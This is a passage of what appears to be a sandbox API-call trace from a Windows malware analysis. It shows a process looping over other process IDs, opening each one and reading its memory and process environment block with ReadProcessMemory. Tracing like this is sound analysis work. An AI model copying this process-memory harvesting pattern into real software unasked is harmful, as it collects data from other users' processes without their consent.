(_Size=0x86) returned 0x196ef0d4e70 [0201.764] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e9d3f03118, lpBuffer=0x196ef0d4e70, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0201.765] free (_Block=0x196ef0d4e70) [0202.006] CloseHandle (hObject=0x458) returned 1 [0202.007] _ui64tow_s (in: _Value=0x3fc, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1020") returned 0x0 [0202.011] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1020") returned 4 [0202.012] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.012] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.030] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3fc) returned 0x458 [0202.030] GetLastError () returned 0x0 [0202.030] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.030] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x71b3034018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.031] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.031] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x26426003470, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.031] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x264260030d8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.032] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.033] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.034] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x71b3034020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.034] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x26426002ac0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.034] malloc (_Size=0x62) returned 0x196ef0d06f0 [0202.034] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x26426003118, lpBuffer=0x196ef0d06f0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d06f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.035] free (_Block=0x196ef0d06f0) [0202.036] CloseHandle (hObject=0x458) returned 1 [0202.036] _ui64tow_s (in: _Value=0x1b8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="440") returned 0x0 [0202.041] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="440") returned 3 [0202.043] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.043] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.236] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b8) returned 0x458 [0202.237] GetLastError () returned 0x0 [0202.237] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.237] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xb4bbe3c018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.237] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.238] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f146e03400, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.238] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f146e03048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.239] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.241] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.241] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xb4bbe3c020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.241] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f146e02a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.242] malloc (_Size=0x82) returned 0x196ef0d4e70 [0202.242] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1f146e03088, lpBuffer=0x196ef0d4e70, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0202.243] free (_Block=0x196ef0d4e70) [0202.244] CloseHandle (hObject=0x458) returned 1 [0202.245] _ui64tow_s (in: _Value=0x460, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1120") returned 0x0 [0202.255] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1120") returned 4 [0202.257] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.257] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.473] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x460) returned 0x458 [0202.473] GetLastError () returned 0x0 [0202.473] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.473] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x448f0b2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.473] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.473] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e0ed903460, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.473] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e0ed9030c8, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.475] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.476] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.476] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x448f0b2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.476] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e0ed902ab0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.476] malloc (_Size=0x66) returned 0x196ef0d0680 [0202.476] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1e0ed903108, lpBuffer=0x196ef0d0680, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0680*, lpNumberOfBytesRead=0x0) returned 1 [0202.477] free (_Block=0x196ef0d0680) [0202.478] CloseHandle (hObject=0x458) returned 1 [0202.478] _ui64tow_s (in: _Value=0x4d8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1240") returned 0x0 [0202.483] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1240") returned 4 [0202.484] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.484] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.618] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d8) returned 0x458 [0202.618] GetLastError () returned 0x0 [0202.618] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.618] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ff018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.618] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.619] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1b70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.619] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1818, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.620] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.622] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.622] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x3ff020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.622] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1200, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.623] malloc (_Size=0x42) returned 0x196ef0fc0d0 [0202.623] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5e1858, lpBuffer=0x196ef0fc0d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fc0d0*, lpNumberOfBytesRead=0x0) returned 1 [0202.624] free (_Block=0x196ef0fc0d0) [0202.626] CloseHandle (hObject=0x458) returned 1 [0202.627] _ui64tow_s (in: _Value=0x580, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1408") returned 0x0 [0202.640] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1408") returned 4 [0202.643] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.643] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.795] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x580) returned 0x458 [0202.795] GetLastError () returned 0x0 [0202.795] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.795] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xada0213018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.796] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.796] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eb702a1bf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.796] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eb702a18c8, lpBuffer=0x670ffc3f0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.797] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.799] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.799] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0xada0213020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.800] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eb702a12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.800] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0202.800] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1eb702a1906, lpBuffer=0x196ef0d1ba0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1ba0*, lpNumberOfBytesRead=0x0) returned 1 [0202.800] free (_Block=0x196ef0d1ba0) [0202.801] CloseHandle (hObject=0x458) returned 1 [0202.801] _ui64tow_s (in: _Value=0x634, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1588") returned 0x0 [0202.806] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1588") returned 4 [0202.807] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.808] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.921] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x634) returned 0x458 [0202.921] GetLastError () returned 0x0 [0202.921] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.921] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x10d4688018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.922] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.922] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x15c5b9034a0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.922] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x15c5b9030e8, lpBuffer=0x670ffc3f0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.923] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.925] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x10d4688020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x15c5b902ad0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.925] malloc (_Size=0x64) returned 0x196ef0d03e0 [0202.925] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x15c5b903134, lpBuffer=0x196ef0d03e0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.926] free (_Block=0x196ef0d03e0) [0202.927] CloseHandle (hObject=0x458) returned 1 [0202.927] _ui64tow_s (in: _Value=0x698, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1688") returned 0x0 [0202.933] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="1688") returned 4 [0202.934] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0202.934] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0202.954] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x698) returned 0x458 [0202.954] GetLastError () returned 0x0 [0202.954] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0202.954] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39e61be018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0202.954] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0202.954] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a332e033e0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0202.955] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a332e03048, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0202.956] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0202.957] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0202.957] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39e61be020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0202.957] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a332e02a30, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0202.958] malloc (_Size=0x5a) returned 0x196ef0d03e0 [0202.958] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x1a332e03088, lpBuffer=0x196ef0d03e0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0202.958] free (_Block=0x196ef0d03e0) [0202.959] CloseHandle (hObject=0x458) returned 1 [0202.960] _ui64tow_s (in: _Value=0x7e8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2024") returned 0x0 [0202.965] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2024") returned 4 [0203.169] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0203.169] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0203.190] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7e8) returned 0x458 [0203.190] GetLastError () returned 0x0 [0203.190] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0203.190] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x39a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0203.190] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0203.191] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a1c50, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0203.191] ReadProcessMemory (in: hProcess=0x458, lpBaseAddress=0x5a18e8, lpBuffer=0x670ffc3f0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0203.192] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0203.193] NtQueryInformationProcess (in: ProcessHandle=0x458, ProcessInformationClass=0x0, 